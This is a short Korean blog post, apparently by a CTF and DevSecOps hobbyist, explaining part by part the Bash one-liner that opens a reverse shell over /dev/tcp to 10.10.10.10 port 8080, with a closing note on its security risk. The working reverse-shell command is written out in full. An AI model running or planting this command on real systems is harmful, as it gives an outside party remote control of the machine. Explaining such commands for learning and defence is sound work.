shell shock / reverse shell

agnusdei·2024년 7월 31일
0

/bin/bash > /dev/tcp/10.10.10.10/8080 0<&1 명령어는 리눅스에서 Bash 셸을 사용하여 TCP 연결을 통해 원격 서버와 통신하는 방법을 보여줍니다. 이 명령어의 각 부분을 자세히 분석해 보겠습니다.

명령어 구성 요소

  1. /bin/bash:

    • Bash 셸을 실행합니다. 이는 기본적인 명령어 해석기이며, 새로운 세션을 시작합니다.
  2. > /dev/tcp/10.10.10.10/8080:

    • /dev/tcp/10.10.10.10/8080는 Bash의 특수 기능으로, TCP 연결을 나타냅니다. 여기서 10.10.10.10은 원격 서버의 IP 주소이고, 8080은 연결할 포트 번호입니다.
    • > 연산자는 Bash 셸의 출력을 지정된 위치로 리디렉션합니다. 이 경우, Bash의 표준 출력을 원격 서버의 8080 포트로 보냅니다.
  3. 0<&1:

    • 0은 표준 입력을 의미하고, < 연산자는 입력 리디렉션을 나타냅니다.
    • &1은 표준 출력(1)을 가리킵니다. 따라서 0<&1는 표준 입력을 표준 출력으로 리디렉션하는 것입니다. 즉, 원격 서버에서 오는 입력을 Bash 셸이 받아들일 수 있도록 설정합니다.

전체 동작 설명

  • 이 명령어를 실행하면, Bash 셸이 시작되고, 사용자의 표준 출력이 10.10.10.10의 8080 포트로 전송됩니다.
  • 동시에, 원격 서버에서 오는 입력은 Bash 셸의 표준 입력으로 받아들여집니다. 즉, 원격 서버에서 명령을 실행할 수 있는 리버스 쉘이 설정되는 것입니다.

보안상의 위험

  • 이 명령어는 리버스 쉘을 생성하는 방법으로, 공격자가 이 명령어를 사용하여 원격에서 시스템을 제어할 수 있습니다.
  • 시스템의 방화벽이나 보안 정책을 우회할 수 있는 방법이 될 수 있으므로, 보안상 매우 위험합니다.

결론

/bin/bash > /dev/tcp/10.10.10.10/8080 0<&1 명령어는 Bash를 사용하여 원격 서버와의 TCP 연결을 통해 리버스 쉘을 생성하는 방식입니다. 이는 매우 강력한 명령어로, 시스템 보안에 심각한 위협이 될 수 있으므로 주의해야 합니다.

profile
DevSecOps ⚙️ + CTF🚩

0개의 댓글